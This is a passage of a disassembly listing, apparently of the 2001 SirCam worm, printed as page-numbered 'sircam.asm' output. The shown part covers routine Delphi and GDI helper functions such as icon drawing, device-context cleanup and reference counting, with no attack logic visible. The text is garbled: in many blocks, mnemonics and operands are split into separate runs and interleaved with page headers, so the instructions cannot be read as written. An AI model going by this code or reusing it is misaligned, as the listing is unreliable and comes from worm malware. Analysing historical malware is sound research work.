ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_415250: cmp jz mov mov call mov xor push push push mov mov mov mov call mov mov call mov xor push push push mov mov mov mov call mov call mov mov call cmp jnz mov call mov mov mov mov mov call test jnz ; CODE XREF: sub_4151E8+42\030j [ebp+var_1], 0 loc_415320 dl, 1 eax, ds:off_40BE14 sub_402BAC [ebp+var_8], eax eax, eax ebp offset loc_415319 dword ptr fs:[eax] fs:[eax], esp edx, [ebp+var_8] eax, ebx ecx, [eax] dword ptr [ecx+44h] dl, 1 eax, ds:off_40BE14 sub_402BAC [ebp+var_C], eax eax, eax ebp offset loc_4152FC dword ptr fs:[eax] fs:[eax], esp edx, [ebp+var_C] eax, esi ecx, [eax] dword ptr [ecx+44h] eax, [ebp+var_8] sub_40D84C ebx, eax eax, [ebp+var_C] sub_40D84C ebx, eax short loc_4152DD eax, [ebp+var_8] sub_40D84C ecx, eax eax, [ebp+var_C] edx, [eax+4] eax, [ebp+var_8] eax, [eax+4] sub_406DCC al, al short loc_4152E1 loc_4152DD: ; CODE XREF: sub_4151E8+D4\030j xor eax, eax jmp short loc_4152E3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4152E1: ; CODE XREF: sub_4151E8+F3\030j mov al, 1 mov xor pop [ebp+var_1], al eax, eax edx loc_4152E3: ; CODE XREF: sub_4151E8+F7\030j sircam.asm Fri Aug 10 12:42:44 2001 pop pop mov push 570 ecx ecx fs:[eax], edx offset loc_415303 loc_4152F3: ; CODE XREF: sub_4151E8+119\031j mov eax, [ebp+var_C] call sub_402BDC retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4152FC: ; DATA XREF: sub_4151E8+AB\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_4152F3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_415303: xor pop pop pop mov push ; DATA XREF: sub_4151E8+106\030o eax, eax edx ecx ecx fs:[eax], edx offset loc_415320 loc_415310: ; CODE XREF: sub_4151E8+136\031j mov eax, [ebp+var_8] call sub_402BDC retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_415319: ; DATA XREF: sub_4151E8+84\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_415310 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_415320: sub_4151E8 ; CODE XREF: sub_4151E8+63\030j ; sub_4151E8+6C\030j ; DATA XREF: ... mov pop pop pop mov pop retn endp al, [ebp+var_1] edi esi ebx esp, ebp ebp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_41532C: ; DATA XREF: CODE:00413508\030o ; CODE:004136A8\030o xor eax, eax retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_415330: ; DATA XREF: CODE:0041350C\030o ; CODE:004136AC\030o mov retn al, [eax+19h] ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_415334 proc near ; DATA XREF: CODE:0041352C\030o ; CODE:004136CC\030o sircam.asm var_4 Fri Aug 10 12:42:44 2001 = dword ptr -4 push mov push push mov push mov mov mov call mov xor push push push mov mov mov mov call xor pop pop pop mov push ebp ebp, esp ecx esi esi, eax 20h ecx, edx eax, ds:off_40BD3C dl, 1 sub_40D940 [ebp+var_4], eax eax, eax ebp offset loc_41537C dword ptr fs:[eax] fs:[eax], esp edx, [ebp+var_4] eax, esi ecx, [eax] dword ptr [ecx+50h] eax, eax edx ecx ecx fs:[eax], edx offset loc_415383 loc_415373: sub_415334 571 ; CODE XREF: CODE:00415381\031j mov eax, [ebp+var_4] call sub_402BDC retn endp ; sp = -10h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41537C: ; DATA XREF: sub_415334+1D\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_415373 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_415383: ; DATA XREF: sub_415334+3A\030o pop esi pop ecx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_415388 proc near arg_0 arg_4 arg_8 arg_C = = = = ; DATA XREF: CODE:00413548\030o dword ptr 8 dword ptr 0Ch byte ptr 10h byte ptr 14h push mov push cmp jz mov push ebp ebp, esp ebx word ptr [eax+12h], 0 short loc_4153AB bl, [ebp+arg_C] ebx sircam.asm Fri Aug 10 12:42:44 2001 mov push mov push mov push mov mov call bl, [ebp+arg_8] ebx ebx, [ebp+arg_4] ebx ebx, [ebp+arg_0] ebx ebx, eax eax, [ebx+14h] dword ptr [ebx+10h] loc_4153AB: sub_415388 572 ; CODE XREF: sub_415388+9\030j pop ebx pop ebp retn 10h endp ; sp = -10h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4153B0: ; DATA XREF: CODE:00413514\030o ; CODE:004136B4\030o push mov mov mov call pop retn esi esi, eax eax, esi ecx, [eax] dword ptr [ecx+50h] esi ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4153BC proc near var_4 = dword ptr -4 push mov push push mov push mov mov mov call mov xor push push push mov mov mov mov call xor pop pop pop mov push ; DATA XREF: CODE:00413530\030o ; CODE:004136D0\030o ebp ebp, esp ecx esi esi, eax 0FFFFh ecx, edx eax, ds:off_40BD3C dl, 1 sub_40D940 [ebp+var_4], eax eax, eax ebp offset loc_415407 dword ptr fs:[eax] fs:[eax], esp edx, [ebp+var_4] eax, esi ecx, [eax] dword ptr [ecx+54h] eax, eax edx ecx ecx fs:[eax], edx offset loc_41540E loc_4153FE: sub_4153BC ; CODE XREF: CODE:0041540C\031j mov eax, [ebp+var_4] call sub_402BDC retn endp ; sp = -10h sircam.asm Fri Aug 10 12:42:44 2001 573 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_415407: ; DATA XREF: sub_4153BC+20\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_4153FE ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41540E: ; DATA XREF: sub_4153BC+3D\030o pop esi pop ecx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS KEYPAD "+" TO EXPAND] align 4 loc_415418: cmp jz mov mov mov call ; DATA XREF: CODE:00413520\030o dl, [eax+19h] short locret_415427 [eax+19h], dl edx, eax ecx, [eax] dword ptr [ecx+10h] locret_415427: ; CODE XREF: CODE:0041541B\030j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_415428: ; DATA XREF: CODE:00413528\030o ; CODE:004136C8\030o push mov mov mov call pop retn esi esi, eax eax, esi ecx, [eax] dword ptr [ecx+54h] esi ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_415434 proc near var_C var_8 var_4 = dword ptr -0Ch = dword ptr -8 = dword ptr -4 ; CODE XREF: sub_415C9C+3B\031p push mov add mov call mov xor push push push mov mov mov dec cmp jl mov ebp ebp, esp esp, 0FFFFFFF4h eax, ds:dword_41DA70 sub_40C4B0 [ebp+var_8], eax eax, eax ebp offset loc_4154D2 dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_8] eax, [eax+8] eax eax, 0 short loc_4154BA [ebp+var_4], eax mov edx, [ebp+var_4] loc_415464: ; CODE XREF: sub_415434+84\031j sircam.asm Fri Aug 10 12:42:44 2001 mov call mov mov call test jz xor push push push mov mov call xor pop pop pop mov push 574 eax, [ebp+var_8] sub_40C20C [ebp+var_C], eax eax, [ebp+var_C] sub_4140CC al, al short loc_4154B1 eax, eax ebp offset loc_4154AA dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_C] sub_4154E0 eax, eax edx ecx ecx fs:[eax], edx offset loc_4154B1 loc_4154A1: ; CODE XREF: sub_415434+7B\031j mov eax, [ebp+var_C] call sub_414128 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4154AA: ; DATA XREF: sub_415434+4D\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_4154A1 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4154B1: ; CODE XREF: sub_415434+48\030j ; DATA XREF: sub_415434+68\030o dec cmp jnz [ebp+var_4] [ebp+var_4], 0FFFFFFFFh short loc_415464 xor pop pop pop mov push ; CODE XREF: sub_415434+2B\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_4154D9 loc_4154BA: loc_4154C7: sub_415434 ; CODE XREF: CODE:004154D7\031j mov eax, ds:dword_41DA70 call sub_40C514 retn endp ; sp = -14h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4154D2: ; DATA XREF: sub_415434+16\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_4154C7 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4154D9: ; DATA XREF: sub_415434+8E\030o mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sircam.asm Fri Aug 10 12:42:44 2001 575 ; Attributes: bp-based frame sub_4154E0 proc near var_4 = dword ptr -4 ; CODE XREF: sub_415434+5B\030p push mov push push mov mov cmp jz mov call xor push push push mov mov mov test jz push mov mov push call ebp ebp, esp ecx ebx [ebp+var_4], eax eax, [ebp+var_4] dword ptr [eax+4], 0 loc_41557B eax, [ebp+var_4] sub_414078 edx, edx ebp offset loc_415574 dword ptr fs:[edx] fs:[edx], esp eax, [ebp+var_4] eax, [eax+5Ch] eax, eax short loc_415522 eax eax, [ebp+var_4] eax, [eax+4] eax j_SelectObject mov mov test jz push push mov mov push call eax, [ebp+var_4] eax, [eax+60h] eax, eax short loc_41553B 0FFFFFFFFh eax eax, [ebp+var_4] eax, [eax+4] eax j_SelectPalette mov mov xor mov call push call mov mov call xor pop pop pop mov push ; CODE XREF: sub_4154E0+4A\030j eax, [ebp+var_4] ebx, [eax+4] edx, edx eax, [ebp+var_4] sub_4141F0 ebx j_DeleteDC edx, [ebp+var_4] eax, ds:dword_41DA70 sub_40C4C4 eax, eax edx ecx ecx fs:[eax], edx offset loc_41557B loc_415522: ; CODE XREF: sub_4154E0+33\030j loc_41553B: loc_41556B: ; CODE XREF: sub_4154E0+99\031j mov eax, [ebp+var_4] call sub_414128 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_415574: ; DATA XREF: sub_4154E0+20\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 576 jmp short loc_41556B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41557B: sub_4154E0 ; CODE XREF: sub_4154E0+F\030j ; DATA XREF: sub_4154E0+86\030o pop pop pop retn endp ebx ecx ebp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_415580 proc near ; CODE XREF: sub_4155EC+33\031p ; sub_415670+25\031p ... dword ptr [eax+4] sub_415580 inc retn endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_415584 proc near push mov test jz dec cmp jnz mov mov call mov call ebx ebx, eax ebx, ebx short loc_4155A1 dword ptr [ebx+4] dword ptr [ebx+4], 0 short loc_4155A1 eax, ebx edx, [eax] dword ptr [edx] eax, ebx sub_402BDC loc_4155A1: sub_415584 ; CODE XREF: sub_415640+E\031p ; sub_415670+2D\031p ... ; CODE XREF: sub_415584+5\030j ; sub_415584+E\030j pop retn endp ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4155A4 proc near ; DATA XREF: CODE:00413624\030o push ebx push esi call sub_402D3C mov ebx, edx mov esi, eax mov eax, [esi+0Ch] call sub_402BDC mov edx, ebx and dl, 0FCh mov eax, esi call sub_402BCC test bl, bl jle short loc_4155CE mov eax, esi call sub_402D2C sircam.asm Fri Aug 10 12:42:44 2001 loc_4155CE: sub_4155A4 577 ; CODE XREF: sub_4155A4+21\030j pop pop retn endp esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4155D4 proc near ; DATA XREF: CODE:00413628\030o push ebx mov ebx, eax mov eax, [ebx+8] test eax, eax jz short loc_4155E4 push eax call j_DestroyIcon loc_4155E4: sub_4155D4 ; CODE XREF: sub_4155D4+8\030j xor mov pop retn endp eax, eax [ebx+8], eax ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4155EC proc near ; CODE XREF: sub_416478+166\031p ; DATA XREF: CODE:00413690\030o push push push test jz add call ebx esi edi dl, dl short loc_4155FB esp, 0FFFFFFF0h sub_402CDC mov mov xor mov call mov mov mov call mov mov mov call mov test jz call pop add ; CODE XREF: sub_4155EC+5\030j ebx, edx edi, eax edx, edx eax, edi sub_4150F4 byte ptr [edi+19h], 1 dl, 1 eax, ds:off_4135DC sub_402BAC esi, eax [edi+20h], esi eax, esi sub_415580 eax, edi bl, bl short loc_415639 sub_402D34 large dword ptr fs:0 esp, 0Ch mov pop pop eax, edi edi esi loc_4155FB: loc_415639: ; CODE XREF: sub_4155EC+3C\030j sircam.asm sub_4155EC Fri Aug 10 12:42:44 2001 pop retn endp 578 ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_415640 proc near ; DATA XREF: CODE:00413680\030o push ebx push esi call sub_402D3C mov ebx, edx mov esi, eax mov eax, [esi+20h] call sub_415584 mov edx, ebx and dl, 0FCh mov eax, esi call sub_40C520 test bl, bl jle short loc_41566A mov eax, esi call sub_402D2C loc_41566A: sub_415640 ; CODE XREF: sub_415640+21\030j pop pop retn endp esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_415670 proc near ; DATA XREF: CODE:0041368C\030o push ebx push esi push edi mov ebx, edx mov esi, eax test ebx, ebx jz short loc_41568C mov eax, ebx mov edx, ds:off_413638 call sub_402C40 test al, al jz short loc_4156C0 loc_41568C: ; CODE XREF: sub_415670+9\030j test ebx, ebx jz short loc_4156AA mov edi, ebx mov eax, [edi+20h] call sub_415580 mov eax, [esi+20h] call sub_415584 mov eax, [edi+20h] mov [esi+20h], eax jmp short loc_4156B5 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4156AA: ; CODE XREF: sub_415670+1E\030j xor xor mov ecx, ecx edx, edx eax, esi sircam.asm Fri Aug 10 12:42:44 2001 call 579 sub_415948 loc_4156B5: ; CODE XREF: sub_415670+38\030j mov edx, esi mov eax, esi mov ecx, [eax] call dword ptr [ecx+10h] jmp short loc_4156C9 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4156C0: ; CODE XREF: sub_415670+1A\030j mov mov call edx, ebx eax, esi sub_40C54C pop pop pop retn endp edi esi ebx loc_4156C9: sub_415670 ; CODE XREF: sub_415670+4E\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4156D0 sub_4156D0 proc near ; DATA XREF: CODE:00413698\030o push ebx push esi push edi mov edi, ecx mov esi, edx mov ebx, eax mov dl, ds:byte_41570C mov eax, esi call sub_414244 push 3 push 0 push 0 push 0 push 0 mov eax, ebx call sub_415728 push eax mov eax, [edi+4] push eax mov eax, [edi] push eax mov eax, [esi+4] push eax call j_DrawIconEx pop edi pop esi pop ebx retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ byte_41570C db 1 ; DATA XREF: sub_4156D0+9\030r align 4 loc_415710: mov cmp jnz cmp jz ; DATA XREF: CODE:004136A0\030o eax, [eax+20h] dword ptr [eax+8], 0 short loc_41571F dword ptr [eax+0Ch], 0 short loc_415722 sircam.asm Fri Aug 10 12:42:44 2001 580 loc_41571F: ; CODE XREF: CODE:00415717\030j xor eax, eax retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_415722: ; CODE XREF: CODE:0041571D\030j mov al, 1 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_415728 proc near sub_415728 push mov mov call mov mov pop retn endp ; CODE XREF: sub_4156D0+22\030p ; sub_4157DC+42\031p ... ebx ebx, eax eax, ebx 